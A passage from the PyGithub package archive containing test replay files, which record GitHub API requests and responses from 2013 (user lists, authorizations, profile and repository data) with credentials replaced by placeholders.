16:17:47 GMT'), ('connection', 'keep-alive'), ('etag', '"fb0fbb23fbad4099a53f6c5f6e0de34d"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Tue, 29 Jan 2013 17:46:40 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"type":"User","url":"https://api.github.com/users/jnorthrup","repos_url":"https://api.github.com/users/jnorthrup/repos","avatar_url":"https://secure.gravatar.com/avatar/29222a2dca6dd4cd33790d72ff3f5346?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jnorthrup/orgs","received_events_url":"https://api.github.com/users/jnorthrup/received_events","events_url":"https://api.github.com/users/jnorthrup/events{/privacy}","followers_url":"https://api.github.com/users/jnorthrup/followers","starred_url":"https://api.github.com/users/jnorthrup/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jnorthrup/following","gravatar_id":"29222a2dca6dd4cd33790d72ff3f5346","subscriptions_url":"https://api.github.com/users/jnorthrup/subscriptions","gists_url":"https://api.github.com/users/jnorthrup/gists{/gist_id}","id":73514,"login":"jnorthrup"},{"type":"User","url":"https://api.github.com/users/brugidou","repos_url":"https://api.github.com/users/brugidou/repos","avatar_url":"https://secure.gravatar.com/avatar/43485eeefd3da3c96a7ea0c7e6b839dc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/brugidou/orgs","received_events_url":"https://api.github.com/users/brugidou/received_events","events_url":"https://api.github.com/users/brugidou/events{/privacy}","followers_url":"https://api.github.com/users/brugidou/followers","starred_url":"https://api.github.com/users/brugidou/starred{/owner}{/repo}","following_url":"https://api.github.com/users/brugidou/following","gravatar_id":"43485eeefd3da3c96a7ea0c7e6b839dc","subscriptions_url":"https://api.github.com/users/brugidou/subscriptions","gists_url":"https://api.github.com/users/brugidou/gists{/gist_id}","id":167633,"login":"brugidou"},{"type":"User","url":"https://api.github.com/users/regisb","repos_url":"https://api.github.com/users/regisb/repos","avatar_url":"https://secure.gravatar.com/avatar/c5c2e6aa207dd3686244700d39117bdc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/regisb/orgs","received_events_url":"https://api.github.com/users/regisb/received_events","events_url":"https://api.github.com/users/regisb/events{/privacy}","followers_url":"https://api.github.com/users/regisb/followers","starred_url":"https://api.github.com/users/regisb/starred{/owner}{/repo}","following_url":"https://api.github.com/users/regisb/following","gravatar_id":"c5c2e6aa207dd3686244700d39117bdc","subscriptions_url":"https://api.github.com/users/regisb/subscriptions","gists_url":"https://api.github.com/users/regisb/gists{/gist_id}","id":44319,"login":"regisb"},{"type":"User","url":"https://api.github.com/users/walidk","repos_url":"https://api.github.com/users/walidk/repos","avatar_url":"https://secure.gravatar.com/avatar/e251d20766937949a109603ca37bb3be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/walidk/orgs","received_events_url":"https://api.github.com/users/walidk/received_events","events_url":"https://api.github.com/users/walidk/events{/privacy}","followers_url":"https://api.github.com/users/walidk/followers","starred_url":"https://api.github.com/users/walidk/starred{/owner}{/repo}","following_url":"https://api.github.com/users/walidk/following","gravatar_id":"e251d20766937949a109603ca37bb3be","subscriptions_url":"https://api.github.com/users/walidk/subscriptions","gists_url":"https://api.github.com/users/walidk/gists{/gist_id}","id":734669,"login":"walidk"},{"type":"User","url":"https://api.github.com/users/afzalkhan","repos_url":"https://api.github.com/users/afzalkhan/repos","avatar_url":"https://secure.gravatar.com/avatar/8e85398b116be75d4baeeddfc9c3cce1?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/afzalkhan/orgs","received_events_url":"https://api.github.com/users/afzalkhan/received_events","events_url":"https://api.github.com/users/afzalkhan/events{/privacy}","followers_url":"https://api.github.com/users/afzalkhan/followers","starred_url":"https://api.github.com/users/afzalkhan/starred{/owner}{/repo}","following_url":"https://api.github.com/users/afzalkhan/following","gravatar_id":"8e85398b116be75d4baeeddfc9c3cce1","subscriptions_url":"https://api.github.com/users/afzalkhan/subscriptions","gists_url":"https://api.github.com/users/afzalkhan/gists{/gist_id}","id":1003845,"login":"afzalkhan"},{"type":"User","url":"https://api.github.com/users/sdanzan","repos_url":"https://api.github.com/users/sdanzan/repos","avatar_url":"https://secure.gravatar.com/avatar/4a1e187f4f22547534a56966f6d8f942?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/sdanzan/orgs","received_events_url":"https://api.github.com/users/sdanzan/received_events","events_url":"https://api.github.com/users/sdanzan/events{/privacy}","followers_url":"https://api.github.com/users/sdanzan/followers","starred_url":"https://api.github.com/users/sdanzan/starred{/owner}{/repo}","following_url":"https://api.github.com/users/sdanzan/following","gravatar_id":"4a1e187f4f22547534a56966f6d8f942","subscriptions_url":"https://api.github.com/users/sdanzan/subscriptions","gists_url":"https://api.github.com/users/sdanzan/gists{/gist_id}","id":1094967,"login":"sdanzan"},{"type":"User","url":"https://api.github.com/users/vineus","repos_url":"https://api.github.com/users/vineus/repos","avatar_url":"https://secure.gravatar.com/avatar/2d0c93649b7572036335aed380e351e5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/vineus/orgs","received_events_url":"https://api.github.com/users/vineus/received_events","events_url":"https://api.github.com/users/vineus/events{/privacy}","followers_url":"https://api.github.com/users/vineus/followers","starred_url":"https://api.github.com/users/vineus/starred{/owner}{/repo}","following_url":"https://api.github.com/users/vineus/following","gravatar_id":"2d0c93649b7572036335aed380e351e5","subscriptions_url":"https://api.github.com/users/vineus/subscriptions","gists_url":"https://api.github.com/users/vineus/gists{/gist_id}","id":467126,"login":"vineus"},{"type":"User","url":"https://api.github.com/users/gturri","repos_url":"https://api.github.com/users/gturri/repos","avatar_url":"https://secure.gravatar.com/avatar/ba064e32f068e12bfc87d178179878a5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/gturri/orgs","received_events_url":"https://api.github.com/users/gturri/received_events","events_url":"https://api.github.com/users/gturri/events{/privacy}","followers_url":"https://api.github.com/users/gturri/followers","starred_url":"https://api.github.com/users/gturri/starred{/owner}{/repo}","following_url":"https://api.github.com/users/gturri/following","gravatar_id":"ba064e32f068e12bfc87d178179878a5","subscriptions_url":"https://api.github.com/users/gturri/subscriptions","gists_url":"https://api.github.com/users/gturri/gists{/gist_id}","id":308601,"login":"gturri"},{"type":"User","url":"https://api.github.com/users/fjardon","repos_url":"https://api.github.com/users/fjardon/repos","avatar_url":"https://secure.gravatar.com/avatar/cb044bd9a9f6548b9a9bae44617c97c7?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/fjardon/orgs","received_events_url":"https://api.github.com/users/fjardon/received_events","events_url":"https://api.github.com/users/fjardon/events{/privacy}","followers_url":"https://api.github.com/users/fjardon/followers","starred_url":"https://api.github.com/users/fjardon/starred{/owner}{/repo}","following_url":"https://api.github.com/users/fjardon/following","gravatar_id":"cb044bd9a9f6548b9a9bae44617c97c7","subscriptions_url":"https://api.github.com/users/fjardon/subscriptions","gists_url":"https://api.github.com/users/fjardon/gists{/gist_id}","id":121402,"login":"fjardon"},{"type":"User","url":"https://api.github.com/users/cjuniet","repos_url":"https://api.github.com/users/cjuniet/repos","avatar_url":"https://secure.gravatar.com/avatar/197eed5292fd11c0277335c3524ccfd5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/cjuniet/orgs","received_events_url":"https://api.github.com/users/cjuniet/received_events","events_url":"https://api.github.com/users/cjuniet/events{/privacy}","followers_url":"https://api.github.com/users/cjuniet/followers","starred_url":"https://api.github.com/users/cjuniet/starred{/owner}{/repo}","following_url":"https://api.github.com/users/cjuniet/following","gravatar_id":"197eed5292fd11c0277335c3524ccfd5","subscriptions_url":"https://api.github.com/users/cjuniet/subscriptions","gists_url":"https://api.github.com/users/cjuniet/gists{/gist_id}","id":1233553,"login":"cjuniet"},{"type":"User","url":"https://api.github.com/users/jardon-u","repos_url":"https://api.github.com/users/jardon-u/repos","avatar_url":"https://secure.gravatar.com/avatar/1b4be24fa7e62eb508ca448da99e43d4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jardon-u/orgs","received_events_url":"https://api.github.com/users/jardon-u/received_events","events_url":"https://api.github.com/users/jardon-u/events{/privacy}","followers_url":"https://api.github.com/users/jardon-u/followers","starred_url":"https://api.github.com/users/jardon-u/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jardon-u/following","gravatar_id":"1b4be24fa7e62eb508ca448da99e43d4","subscriptions_url":"https://api.github.com/users/jardon-u/subscriptions","gists_url":"https://api.github.com/users/jardon-u/gists{/gist_id}","id":994192,"login":"jardon-u"},{"type":"User","url":"https://api.github.com/users/kamaradclimber","repos_url":"https://api.github.com/users/kamaradclimber/repos","avatar_url":"https://secure.gravatar.com/avatar/0c43eba4a99f65e071e66e684cea8177?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/kamaradclimber/orgs","received_events_url":"https://api.github.com/users/kamaradclimber/received_events","events_url":"https://api.github.com/users/kamaradclimber/events{/privacy}","followers_url":"https://api.github.com/users/kamaradclimber/followers","starred_url":"https://api.github.com/users/kamaradclimber/starred{/owner}{/repo}","following_url":"https://api.github.com/users/kamaradclimber/following","gravatar_id":"0c43eba4a99f65e071e66e684cea8177","subscriptions_url":"https://api.github.com/users/kamaradclimber/subscriptions","gists_url":"https://api.github.com/users/kamaradclimber/gists{/gist_id}","id":503537,"login":"kamaradclimber"},{"type":"User","url":"https://api.github.com/users/L42y","repos_url":"https://api.github.com/users/L42y/repos","avatar_url":"https://secure.gravatar.com/avatar/4dc11d87759273f3466ab4f673bcecae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/L42y/orgs","received_events_url":"https://api.github.com/users/L42y/received_events","events_url":"https://api.github.com/users/L42y/events{/privacy}","followers_url":"https://api.github.com/users/L42y/followers","starred_url":"https://api.github.com/users/L42y/starred{/owner}{/repo}","following_url":"https://api.github.com/users/L42y/following","gravatar_id":"4dc11d87759273f3466ab4f673bcecae","subscriptions_url":"https://api.github.com/users/L42y/subscriptions","gists_url":"https://api.github.com/users/L42y/gists{/gist_id}","id":284820,"login":"L42y"},{"type":"User","url":"https://api.github.com/users/jobar","repos_url":"https://api.github.com/users/jobar/repos","avatar_url":"https://secure.gravatar.com/avatar/c9d5df4c0be8b077f3cd8edde2f02c9e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jobar/orgs","received_events_url":"https://api.github.com/users/jobar/received_events","events_url":"https://api.github.com/users/jobar/events{/privacy}","followers_url":"https://api.github.com/users/jobar/followers","starred_url":"https://api.github.com/users/jobar/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jobar/following","gravatar_id":"c9d5df4c0be8b077f3cd8edde2f02c9e","subscriptions_url":"https://api.github.com/users/jobar/subscriptions","gists_url":"https://api.github.com/users/jobar/gists{/gist_id}","id":1686047,"login":"jobar"},{"type":"User","url":"https://api.github.com/users/koobs","repos_url":"https://api.github.com/users/koobs/repos","avatar_url":"https://secure.gravatar.com/avatar/a083cdd9096b4a5623a298d6b4d590a8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/koobs/orgs","received_events_url":"https://api.github.com/users/koobs/received_events","events_url":"https://api.github.com/users/koobs/events{/privacy}","followers_url":"https://api.github.com/users/koobs/followers","starred_url":"https://api.github.com/users/koobs/starred{/owner}{/repo}","following_url":"https://api.github.com/users/koobs/following","gravatar_id":"a083cdd9096b4a5623a298d6b4d590a8","subscriptions_url":"https://api.github.com/users/koobs/subscriptions","gists_url":"https://api.github.com/users/koobs/gists{/gist_id}","id":1011612,"login":"koobs"},{"type":"User","url":"https://api.github.com/users/csjaba","repos_url":"https://api.github.com/users/csjaba/repos","avatar_url":"https://secure.gravatar.com/avatar/487684504c90d530bc674ea554acb9c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/csjaba/orgs","received_events_url":"https://api.github.com/users/csjaba/received_events","events_url":"https://api.github.com/users/csjaba/events{/privacy}","followers_url":"https://api.github.com/users/csjaba/followers","starred_url":"https://api.github.com/users/csjaba/starred{/owner}{/repo}","following_url":"https://api.github.com/users/csjaba/following","gravatar_id":"487684504c90d530bc674ea554acb9c5","subscriptions_url":"https://api.github.com/users/csjaba/subscriptions","gists_url":"https://api.github.com/users/csjaba/gists{/gist_id}","id":2398264,"login":"csjaba"},{"type":"User","url":"https://api.github.com/users/jtrigalo","repos_url":"https://api.github.com/users/jtrigalo/repos","avatar_url":"https://secure.gravatar.com/avatar/7cf8013e6d87e3d7458dfff8dee27bea?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/jtrigalo/orgs","received_events_url":"https://api.github.com/users/jtrigalo/received_events","events_url":"https://api.github.com/users/jtrigalo/events{/privacy}","followers_url":"https://api.github.com/users/jtrigalo/followers","starred_url":"https://api.github.com/users/jtrigalo/starred{/owner}{/repo}","following_url":"https://api.github.com/users/jtrigalo/following","gravatar_id":"7cf8013e6d87e3d7458dfff8dee27bea","subscriptions_url":"https://api.github.com/users/jtrigalo/subscriptions","gists_url":"https://api.github.com/users/jtrigalo/gists{/gist_id}","id":2675607,"login":"jtrigalo"},{"type":"User","url":"https://api.github.com/users/nicuveo","repos_url":"https://api.github.com/users/nicuveo/repos","avatar_url":"https://secure.gravatar.com/avatar/d7b0dfff3ee3c7b1eba8ac9e9a3b43b6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/nicuveo/orgs","received_events_url":"https://api.github.com/users/nicuveo/received_events","events_url":"https://api.github.com/users/nicuveo/events{/privacy}","followers_url":"https://api.github.com/users/nicuveo/followers","starred_url":"https://api.github.com/users/nicuveo/starred{/owner}{/repo}","following_url":"https://api.github.com/users/nicuveo/following","gravatar_id":"d7b0dfff3ee3c7b1eba8ac9e9a3b43b6","subscriptions_url":"https://api.github.com/users/nicuveo/subscriptions","gists_url":"https://api.github.com/users/nicuveo/gists{/gist_id}","id":1618949,"login":"nicuveo"},{"type":"User","url":"https://api.github.com/users/MariusNV","repos_url":"https://api.github.com/users/MariusNV/repos","avatar_url":"https://secure.gravatar.com/avatar/1ba6c81323b8482294b9d50de14bd18b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/MariusNV/orgs","received_events_url":"https://api.github.com/users/MariusNV/received_events","events_url":"https://api.github.com/users/MariusNV/events{/privacy}","followers_url":"https://api.github.com/users/MariusNV/followers","starred_url":"https://api.github.com/users/MariusNV/starred{/owner}{/repo}","following_url":"https://api.github.com/users/MariusNV/following","gravatar_id":"1ba6c81323b8482294b9d50de14bd18b","subscriptions_url":"https://api.github.com/users/MariusNV/subscriptions","gists_url":"https://api.github.com/users/MariusNV/gists{/gist_id}","id":2228498,"login":"MariusNV"},{"type":"User","url":"https://api.github.com/users/llubu","repos_url":"https://api.github.com/users/llubu/repos","avatar_url":"https://secure.gravatar.com/avatar/02249adde786dbff8b8fa21d9d1bd601?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/llubu/orgs","received_events_url":"https://api.github.com/users/llubu/received_events","events_url":"https://api.github.com/users/llubu/events{/privacy}","followers_url":"https://api.github.com/users/llubu/followers","starred_url":"https://api.github.com/users/llubu/starred{/owner}{/repo}","following_url":"https://api.github.com/users/llubu/following","gravatar_id":"02249adde786dbff8b8fa21d9d1bd601","subscriptions_url":"https://api.github.com/users/llubu/subscriptions","gists_url":"https://api.github.com/users/llubu/gists{/gist_id}","id":1433937,"login":"llubu"},{"type":"User","url":"https://api.github.com/users/cancerhermit","repos_url":"https://api.github.com/users/cancerhermit/repos","avatar_url":"https://secure.gravatar.com/avatar/9be6dcfe3820b88a23001e4758ca6703?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/cancerhermit/orgs","received_events_url":"https://api.github.com/users/cancerhermit/received_events","events_url":"https://api.github.com/users/cancerhermit/events{/privacy}","followers_url":"https://api.github.com/users/cancerhermit/followers","starred_url":"https://api.github.com/users/cancerhermit/starred{/owner}{/repo}","following_url":"https://api.github.com/users/cancerhermit/following","gravatar_id":"9be6dcfe3820b88a23001e4758ca6703","subscriptions_url":"https://api.github.com/users/cancerhermit/subscriptions","gists_url":"https://api.github.com/users/cancerhermit/gists{/gist_id}","id":1584557,"login":"cancerhermit"},{"type":"User","url":"https://api.github.com/users/mt3","repos_url":"https://api.github.com/users/mt3/repos","avatar_url":"https://secure.gravatar.com/avatar/db57d04ef17c0c3a45a27059e4667f64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","organizations_url":"https://api.github.com/users/mt3/orgs","received_events_url":"https://api.github.com/users/mt3/received_events","events_url":"https://api.github.com/users/mt3/events{/privacy}","followers_url":"https://api.github.com/users/mt3/followers","starred_url":"https://api.github.com/users/mt3/starred{/owner}{/repo}","following_url":"https://api.github.com/users/mt3/following","gravatar_id":"db57d04ef17c0c3a45a27059e4667f64","subscriptions_url":"https://api.github.com/users/mt3/subscriptions","gists_url":"https://api.github.com/users/mt3/gists{/gist_id}","id":227318,"login":"mt3"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue134.testGetAuthorizationsFailsWhenAutenticatedThroughOAuth.txt0000644000175100001660000000104214756101563033254 0ustar00runnerdockerhttps GET api.github.com None /authorizations {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 404 [('status', '404 Not Found'), ('content-length', '23'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-remaining', '55'), ('server', 'GitHub.com'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '60'), ('cache-control', ''), ('date', 'Tue, 29 Jan 2013 18:19:32 GMT'), ('content-type', 'application/json; charset=utf-8')] {"message":"Not Found"} ././@PaxHeader0000000000000000000000000000021600000000000010214 xustar00120 path=pygithub-2.6.1/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPassword.txt 22 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue134.testGetAuthorizationsSucceedsWhenAutenticatedThroughLoginPa0000644000175100001660000000472614756101563033463 0ustar00runnerdockerhttps GET api.github.com None /authorizations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1930'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4928'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 29 Jan 2013 17:36:52 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1ee9c020e28a8e60c0ed7eee863a79fc"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 29 Jan 2013 18:19:33 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"token":"private_token_removed","url":"https://api.github.com/authorizations/619306","updated_at":"2012-09-03T08:35:36Z","scopes":[],"created_at":"2012-09-02T15:30:23Z","app":{"url":"http://upverter.com","name":"Upverter"},"note":null,"id":619306,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/648494","updated_at":"2013-01-29T17:36:52Z","scopes":["public_repo","user:email"],"created_at":"2012-09-16T07:13:01Z","app":{"url":"https://travis-ci.org","name":"Travis"},"note":null,"id":648494,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/651653","updated_at":"2012-09-17T21:05:19Z","scopes":["user","repo","gists","delete_repo"],"created_at":"2012-09-17T21:05:19Z","app":{"url":"https://github.com/CMB/cligh","name":"cligh (API)"},"note":"cligh","id":651653,"note_url":"https://github.com/CMB/cligh"},{"token":"private_token_removed","url":"https://api.github.com/authorizations/816763","updated_at":"2012-12-19T09:22:09Z","scopes":[],"created_at":"2012-11-15T17:47:48Z","app":{"url":"https://coderwall.com","name":"coderwall.com"},"note":null,"id":816763,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/974947","updated_at":"2012-12-19T09:17:20Z","scopes":["public_repo"],"created_at":"2012-12-19T09:15:32Z","app":{"url":"http://geekli.st/","name":"Geeklist, Inc."},"note":null,"id":974947,"note_url":null},{"token":"private_token_removed","url":"https://api.github.com/authorizations/1348532","updated_at":"2013-01-27T11:51:21Z","scopes":["repo","user","gist"],"created_at":"2013-01-27T11:51:21Z","app":{"url":"https://github.com/github/android","name":"GitHub Android App (API)"},"note":"GitHub Android App","id":1348532,"note_url":"https://github.com/github/android"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue134.testGetOAuthScopesFromHeader.txt0000644000175100001660000000431514756101563025733 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4992'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('content-length', '1464'), ('server', 'GitHub.com'), ('last-modified', 'Tue, 05 Feb 2013 18:44:48 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9257360a3470aac247f722352581abb1"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Tue, 05 Feb 2013 22:57:03 GMT'), ('x-oauth-scopes', 'repo, user, gist'), ('content-type', 'application/json; charset=utf-8'), ('x-accepted-oauth-scopes', 'user:follow, user:email, user')] {"public_repos":21,"type":"User","repos_url":"https://api.github.com/users/jacquev6/repos","followers_url":"https://api.github.com/users/jacquev6/followers","url":"https://api.github.com/users/jacquev6","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","following_url":"https://api.github.com/users/jacquev6/following","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","total_private_repos":4,"following":37,"html_url":"https://github.com/jacquev6","created_at":"2010-07-09T06:10:06Z","collaborators":1,"location":"Paris, France","received_events_url":"https://api.github.com/users/jacquev6/received_events","owned_private_repos":4,"followers":22,"organizations_url":"https://api.github.com/users/jacquev6/orgs","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","email":"vincent@vincent-jacques.net","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","disk_usage":13360,"public_gists":2,"name":"Vincent Jacques","blog":"http://vincent-jacques.net","hireable":false,"plan":{"collaborators":1,"space":614400,"name":"micro","private_repos":5},"starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","id":327146,"login":"jacquev6","private_gists":5,"updated_at":"2013-02-05T18:44:48Z","company":"Criteo","bio":""} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue139.setUp.txt0000644000175100001660000003134614756101563021352 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '1464'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4994'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 07 Feb 2013 18:20:14 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e0a49ecde4e224bb688cb9d21b420114"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 08 Feb 2013 07:27:49 GMT'), ('content-type', 'application/json; charset=utf-8')] {"collaborators":1,"plan":{"collaborators":1,"space":614400,"private_repos":5,"name":"micro"},"blog":"http://vincent-jacques.net","type":"User","company":"Criteo","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","followers_url":"https://api.github.com/users/jacquev6/followers","total_private_repos":4,"following":37,"created_at":"2010-07-09T06:10:06Z","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","following_url":"https://api.github.com/users/jacquev6/following","url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","public_gists":2,"location":"Paris, France","received_events_url":"https://api.github.com/users/jacquev6/received_events","owned_private_repos":4,"public_repos":21,"private_gists":5,"followers":22,"email":"vincent@vincent-jacques.net","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","html_url":"https://github.com/jacquev6","hireable":false,"organizations_url":"https://api.github.com/users/jacquev6/orgs","name":"Vincent Jacques","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","login":"jacquev6","disk_usage":13312,"updated_at":"2013-02-07T18:20:14Z","bio":"","id":327146,"repos_url":"https://api.github.com/users/jacquev6/repos"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('content-length', '4615'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('x-ratelimit-limit', '5000'), ('vary', 'Accept, Authorization, Cookie'), ('x-ratelimit-remaining', '4993'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 08 Feb 2013 05:51:24 GMT'), ('connection', 'keep-alive'), ('etag', '"846e3aa719a81e1f9c6cedaa6bab919e"'), ('cache-control', 'private, s-maxage=60, max-age=60'), ('date', 'Fri, 08 Feb 2013 07:27:50 GMT'), ('content-type', 'application/json; charset=utf-8')] {"id":3544490,"archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","fork":false,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","watchers":152,"has_wiki":true,"notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags{/tag}","forks_count":43,"default_branch":"master","open_issues":12,"created_at":"2012-02-25T12:53:47Z","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","master_branch":"master","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","pushed_at":"2013-02-07T18:10:11Z","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","language":"Python","description":"Python library implementing the full Github API v3","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","forks":43,"collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","ssh_url":"git@github.com:jacquev6/PyGithub.git","watchers_count":152,"url":"https://api.github.com/repos/jacquev6/PyGithub","updated_at":"2013-02-08T05:51:24Z","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","homepage":"http://vincent-jacques.net/PyGithub","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","has_downloads":true,"has_issues":true,"clone_url":"https://github.com/jacquev6/PyGithub.git","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","private":false,"keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","git_url":"git://github.com/jacquev6/PyGithub.git","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","mirror_url":null,"svn_url":"https://github.com/jacquev6/PyGithub","name":"PyGithub","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","per